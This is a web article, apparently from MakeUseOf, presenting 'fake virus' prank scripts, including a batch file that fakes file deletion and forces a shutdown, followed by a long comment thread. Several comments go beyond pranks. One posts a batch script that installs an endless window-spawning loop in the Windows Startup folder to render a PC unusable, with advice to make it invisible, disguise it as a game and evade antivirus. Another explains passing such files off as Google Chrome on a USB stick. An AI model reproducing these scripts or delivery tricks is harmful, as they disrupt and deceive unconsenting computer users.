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There’s nothing wrong with a harmless prank, especially when the victim is anyone but you. If you want to have some fun with your friends (or enemies for that matter), drop these cool fake viruses into the folder located at “C:Documents and SettingsAll UsersStart MenuStartup”, then watch “˜em squirm.

Although the following fake viruses may seem malicious to the unsuspecting, they are non-destructive to your computer system. So you don’t have to worry about anything else and just enjoy the fun of making someone else panic!

Mix it up a little, don’t forget to check out other “prank” posts on MakeUseOf like 4 Really Popular Prank Call Websites & How They Work 4 Really Popular Prank Call Websites & How They Work 4 Really Popular Prank Call Websites & How They Work Read More and Two Great “˜n Simple Nerdy Office Pranks to Play On Friends! Two Great 'n Simple Nerdy Office Pranks to Play On Friends! Two Great 'n Simple Nerdy Office Pranks to Play On Friends! Read More

Let’s get pranking, shall we?

(1) Fake Virus Batch File

I got this prank from WikiHow. I love it because it looks the most like an actual attack. Copy and paste the following into an open Notepad window, then save the file with any name you choose and an extension of “.bat”

Here’s the code:


color 0a
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 5000>C:sleep5000.vbs
echo Wscript.Sleep 3000>C:sleep3000.vbs
echo Wscript.Sleep 4000>C:sleep4000.vbs
echo Wscript.Sleep 2000>C:sleep2000.vbs
cd %systemroot%System32
start /w wscript.exe C:sleep3000.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo Deleting Root Partition…
start /w wscript.exe C:sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo Creating Directory h4x…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep3000.vbs
echo Directory Creation Successful!
echo Execution Attempt 1…
start /w wscript.exe C:sleep3000.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep3000.vbs
echo Virus Executed!
start /w wscript.exe C:sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep2000.vbs
echo Killing all processes…
start /w wscript.exe C:sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep2000.vbs
echo Virus has been executed successfully!
start /w wscript.exe C:sleep2000.vbs
echo Have fun!
start /w wscript.exe C:sleep2000.vbs
shutdown -s -t 10 -c “Your computer has committed suicide. Have a nice day.”

Here’s how it will look like once it is launched:

cool fake viruses

Your victim’s PC will display messages as in the above image, and then initiate a shutdown sequence which can be stopped by entering “shutdown ““a” in the Run command box. It looks bad, but is otherwise completely harmless.

(2) EICAR Test File

This test file, while harmless, will set off any good virus scanner. It’s a test file to make sure that your anti-virus is vigilant, and is great for sending in an email.

fake virus programs

(3) Fake Format

I remember getting my brother once with a similar program. This cool fake virus perfectly simulates the Windows disk-format dialog, and cannot be closed or halted until it’s ran its course. Once it’s done, a message will be displayed informing the user that it was just a joke.

fake virus for windows

(4) Fake Delete

This is my favorite because, like its formatting counterpart, Fake Delete mimics the Windows file-delete dialogs. It even goes as far as using your actual file list instead of generic filenames! This also has the “it-was-all-a-joke” screen after it’s done running.

When executing these pranks, please be considerate to whether your intended victim is mildly-panicky or really panicky, and whether your mark has some kind of panic disorder or heart problem. It’s all fun and games until someone goes to the hospital. Otherwise, have fun!

Are you familiar with any cool fake viruses? What are your favorite computer pranks? Give us some of your most evil, yet good-natured, ideas in the comments.

Image credit: rmkoske

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  1. Asher
    May 3, 2017 at 10:04 pm

    Is safe? McAfee and chrome both say it's not.

  2. Deep House Mixtapes
    February 19, 2017 at 7:16 am

    We believe that music dependency works as a surrogate for lack of human bonds. Songs can pierce one's heart directly; it needs no mediation. Weekly Chillout mixtapes published each and every Wednesday. Hear us on MySpace!

  3. Techmaster
    February 13, 2017 at 1:18 pm

    One more thing....Save the file as . vbs once you have typed your code in notepad.

  4. Techmaster
    February 13, 2017 at 1:13 pm

    Yo hello guys!! I discovered a fake virus that allows you to write anything you want in a msg box on the pc!
    Here is the code....
    x=msgbox ("(your stuff)",0+64,"(your title)")
    P.S. The commas are important and you can replace "your stuff" and "your title " with anything....
    Enjoy troubling your pals....?????

  5. jimmy
    January 23, 2017 at 3:53 pm

    The memz trojan. Check it out!

  6. Husanboy Bayern
    January 8, 2017 at 8:01 am

    Here's my work! It will make you unable to use your PC and FORCE you to install Windows OS again. You will only be aware of the infiltration the next time you turn on your Computer! Use the latest version of "Bat To Exe Converter" and add Administrator manifest to it and make it Invisible application before converting it to .exe! Your victim doesn't even know what is happening or what this virus did. Your trusted Antivirus can't even detect it cause this file doesn't work as normal viruses but the later damage will be way too much than what a couple of malware can do.
    You may name it in a sexy way like GTA and choose the appropriate icon to attract your victim's attention. But please, don't try to be an ASS HAT with it.

    @echo off

    echo @echo off>HusanboyBayernVirus.bat
    echo title Husanboy Bayern Virus>>HusanboyBayernVirus.bat
    echo echo.>>HusanboyBayernVirus.bat
    echo echo Computer has been damaged by Husanboy>>HusanboyBayernVirus.bat
    echo echo.>>HusanboyBayernVirus.bat
    echo pause>nul>>HusanboyBayernVirus.bat

    echo @echo off>operateHusanboyBayernVirus.bat
    echo :repeat>>operateHusanboyBayernVirus.bat
    echo start "c:\Windows\HusanboyBayernVirus.bat">>operateHusanboyBayernVirus.bat
    echo goto :repeat>>operateHusanboyBayernVirus.bat

    copy "HusanboyBayernVirus.bat" "c:\Windows\"
    copy "operateHusanboyBayernVirus.bat" "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
    ping localhost -n 1 >nul
    del /f /q "HusanboyBayernVirus.bat"
    del /f /q "operateHusanboyBayernVirus.bat"

  7. XxX_Savage101_XxX
    October 14, 2016 at 7:08 pm

    My antivirus is so good that it even blocked the download page for the EICAR file XDDDDDDD

  8. Frost
    October 8, 2016 at 10:03 am

    The first one does not work. When I try to save it it disappears. What can I do?

      October 12, 2016 at 7:01 pm

      Hey frost you will need to save the notepad as a .bat file so i saved mine as "OMG.23456" Because why not and you dont need the speech marks but save it on your desktop ok? I hope i am useful

  9. Anonymous
    August 28, 2016 at 6:00 pm


  10. kak
    August 15, 2016 at 3:26 pm


    August 6, 2016 at 11:29 pm


    • Crossy
      August 22, 2016 at 2:12 am

      no one cares dude

    August 6, 2016 at 11:28 pm

    :( The files Are Blocked :( :( :(

  13. Kane
    August 5, 2016 at 7:47 am

    XD my anti virus quarantined the first one

    • andrew9696
      November 30, 2016 at 9:03 am

      Is it harmful?

  14. Hitman
    July 20, 2016 at 8:35 pm

    email like all others.

  15. Dylan
    May 29, 2016 at 3:18 pm

    hey guys if you where wondering why it wouldn't shutdown the system for the first one just right click click on edit, go all the way down to the bottom and right where you see shutdown then other stuff, erase that one line and type Shutdown /s /f /t 10 /c "Your comment here"

  16. jigolo
    May 20, 2016 at 4:50 am

    why is it, when i try to do the first prank its not shutting down the system?

  17. FBI
    May 7, 2016 at 11:28 pm


  18. FBI
    May 7, 2016 at 11:27 pm


  19. sloth
    April 20, 2016 at 8:51 pm

    now how do i send the virus to someone

    • AnizoneazAni10
      October 3, 2016 at 3:04 am

      You can make it into a run able file/app that starts when it is click. Then you attach it in an email or put it on a USB. Then when some leaves their computer on, you plug in the USB and download the file. You should name the file something like Google Chrome and change the icon image so they click on it.

  20. priyansh
    April 1, 2016 at 6:28 am

    the first prank seemed interesting but pc is not shutting down after pressing any key

    • anonymous
      May 6, 2016 at 1:56 am

      you just press 'X' on the launch, top right corner like traditional

  21. phenil
    February 14, 2016 at 11:37 am

    hi can you make a virus that make another virus.
    yes, then please send me email (

  22. RexTheGreat37
    February 11, 2016 at 2:26 am

    how do you make it so it dosent shut down?

  23. HJGould!
    December 11, 2015 at 8:37 pm

    How are you suppose to make the fake delete thing work? Is it in the notepad of something?

    • nellie
      February 5, 2016 at 12:01 am

      Yah, it's in the notepad then you want to save it by adding the name of what you want to call it something interesting so someone will push it then adding .bet so an example would be clickonme.bat The .bet makes it the kind of file so it works I also safe fake virus as .vbs but .vbs doesn't work for this file.

    • noone
      February 24, 2016 at 12:06 am

      shutdown /a

  24. Aaron
    November 19, 2015 at 10:11 am

    Lol thanks
    my friend nearly started crying

  25. kim
    May 5, 2015 at 2:27 pm

    lol my eicar got removed immediately by my windows security even when i saved in .txt format.....

  26. Henry Griffeths
    April 9, 2015 at 10:33 am

    Thanks for sharing all of your ideas! definitly going to try.Tempted to do it at school, but I can't imagine the conciquences. (I got to a middle school)

  27. ROzA
    March 23, 2015 at 5:42 am

    This is a fun one!

    @echo off
    color 0a
    echo echo 010 010 10 01 0100 10 010 10 010 1001 10 010 10 10 010 101110 10 100 100 1011
    echo 101010100 100 00100 010 0010 01000010 010 01000100010 01000 0100100 100 01000
    echo 101 0100010 1000001 01010 10 0100010 10 0010 010010 0 010 010 0000111001011011
    echo 000 010 01010010 010001001 00100100 1010 01001001 0010010 01001000100 00100111
    echo 001 0010 10 010010010 010 100 10 01 010 010 010 010 10 010 10 010 10 01010 0
    echo 000 010 00 001 0010 00 1000100 10
    echo 1111 10 010 01 0010100 10 01001010 1 11 0001 00 001 1 1 01 0100000 1 1 11 1
    echo 000 1000 10 010 100 0010 10 01 010 010 10000 010 010 01 10010010010 1001 100
    echo 1010010 010 100 010 10 010 10 010 1010 010 01 01 00001 010 01 010 010 10 001
    echo 111 11111 11111 11111 11111 11111 1111111 111111111
    echo 101010100 100 00100 010 0010 01000010 010 01000100010 01000 0100100 100 011
    echo 1111 10 010 01 0010100 10 01001010 1 11 0001 00 001 1 1 01 0100000 1 1 11 1
    echo 000 1000 10 010 100 0010 10 01 010 010 10000 010 010 01 10010010010 1001 10011
    echo 1010010 010 100 010 10 010 10 010 1010 010 01 01 00001 010 01 010 010 10 0011111
    echo 101 0100010 1000001 01010 10 0100010 10 0010 010010 0 010 010 00001110010110111
    echo 000 010 01010010 010001001 00100100 1010 01001001 0010010 01001000100 001001111
    echo 0000 00 000000000000 000000000000000000 00000000000001111 10 0100000 1000000111
    echo 1111111111111111111111111111111111111111111111111111111111111111
    goto hack
    and name it Matrix.bat. It really looks the part!

    • Anonymous
      October 16, 2015 at 5:54 am

      This on works better in my opinion:
      @echo off
      color 02
      echo %random%%random%%random%%random%%random%%random%%random%%random%
      goto tricks

  28. Terence
    March 6, 2015 at 7:21 pm

    type this script into batch:
    @echo off
    start virus
    goto top

    and name it anything you want, but end it in .bat.
    when you run it command prompts will start appearing everywhere, and the only way to stop them is to restart your computer.

  29. Maddie/ Ethan
    January 17, 2015 at 6:00 am

    The first method is the best. Totally gonna work for the amazing prank we're gonna pull... c:

  30. Anonymous
    December 20, 2014 at 7:54 pm

    Imagine trolling a complete computer noob with all 4 ... hed be like "(screams and deafens himself).

    • asda
      April 25, 2015 at 7:14 pm

      okay, so no one cares about thuis

  31. Julie Colidet
    February 7, 2010 at 11:34 pm

    These a mean jokes lol... My friend used to pull me that type of jokes in the 90's...

  32. Nick D
    October 8, 2009 at 8:15 pm

    Dude, I went to the fake format site and Fake Delete thing, and just getting there, ignoring the "Reported Attack Site" thing, Webroot said that I had a virus in my laptop.

  33. Bill
    September 22, 2009 at 9:16 pm


    simply copy and paste this into notepad:

    set oWMP = CreateObject("WMPlayer.ocx.7")
    Set colCDROMs = oWMP.cdromcollection
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    For i = 0 to colCDROMs.Count - 1
    End If
    wscript.sleep 100

    now save this as a .vbs file and open it. it can get really annoying so do it before you shutdown to try it out, and wait for a friend to open it next and see what happens. Its more annoying than it is scary.

  34. joe B.
    August 27, 2009 at 4:06 pm

    Here's a good one.
    open notepad and type
    a = msgbox("Your message here.", ,"Your box title here.")
    then save as anything.vbs
    now you change the icon to what ever, and wait for it to be clicked on.

  35. Gerald Weber
    August 2, 2009 at 10:59 pm

    The first one is epically funny. I think the main thing is knowing the person you are playing the joke on and if they will be a good sport or not. Just use good judgement when implementing these pranks. Not for the faint of heart. Now who should I try this on? hmmmm

  36. Mixtrixx
    July 27, 2009 at 9:34 pm

    1st One looks pretty cool, and I guess would convince tecbnically challenged PC Noobs into a total nervous breakdown, after thinking they have just lost all that glorious content that they could never imagine of having the money to purchase such lol!,
    However, after quickly running through the Fake Virus Process, and seeing that "C:\Wimdows" got killed off straight away, would it then not be impossible to even sucessfully disable the windows firewall (let alone doing it successfully) lol, but all in all not bad :-).

  37. Ryan Dube
    July 9, 2009 at 12:06 am

    I just have to say - these are a riot. When I was back in school my friends and I would always try to play pranks on each other (back during the DOS days when there wasn't a whole lot you could do.) Today - fake viruses like these open up a whole new world of possibility for playing some funny pranks on friends...I love it. :)

  38. Steven Finch
    July 7, 2009 at 4:02 am

    Some of these are harsh. Im not really too sure why someone would actually want to do this!

  39. Hon tap
    July 6, 2009 at 3:28 pm

    Really cool. I tested with downloading the 2nd virus, and my Avast Antivirus just shouted out! Wonderful, this maybe a cool gift for my friends.

    Thank you very much.

  40. Rajj
    July 6, 2009 at 4:37 am

    Thx for sharing, i just scared the hell out of my friend now.. Hahha, just amazing and cool

  41. Austin
    July 5, 2009 at 9:33 pm

    Ah, I see you've found RJLsoftware :) I had a lot of fun with that site back in the early 2000s when I was in elementary school :)

  42. Teresa Boardman
    July 5, 2009 at 9:11 pm

    This might be a little over the top. Most people can't handle a virus and would freak.

  43. Linda Brown Otwel
    July 5, 2009 at 4:45 pm

    Television Spy is correct. Although they may seem fun to use, sometimes fakes viruses are more than they pretend to be, especially if you download them from somewhere. But making your own fake virus is fine, as long as you know what you are doing!

    • Olivia
      April 29, 2015 at 8:51 am

      I didn't soooooooooooooooo what about a poor adult over here! I actually accidently deleted one of my friends things and now we are STRAIGHT UP ENEMIES!!!!!!!!!!!! Thanks Television Spy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!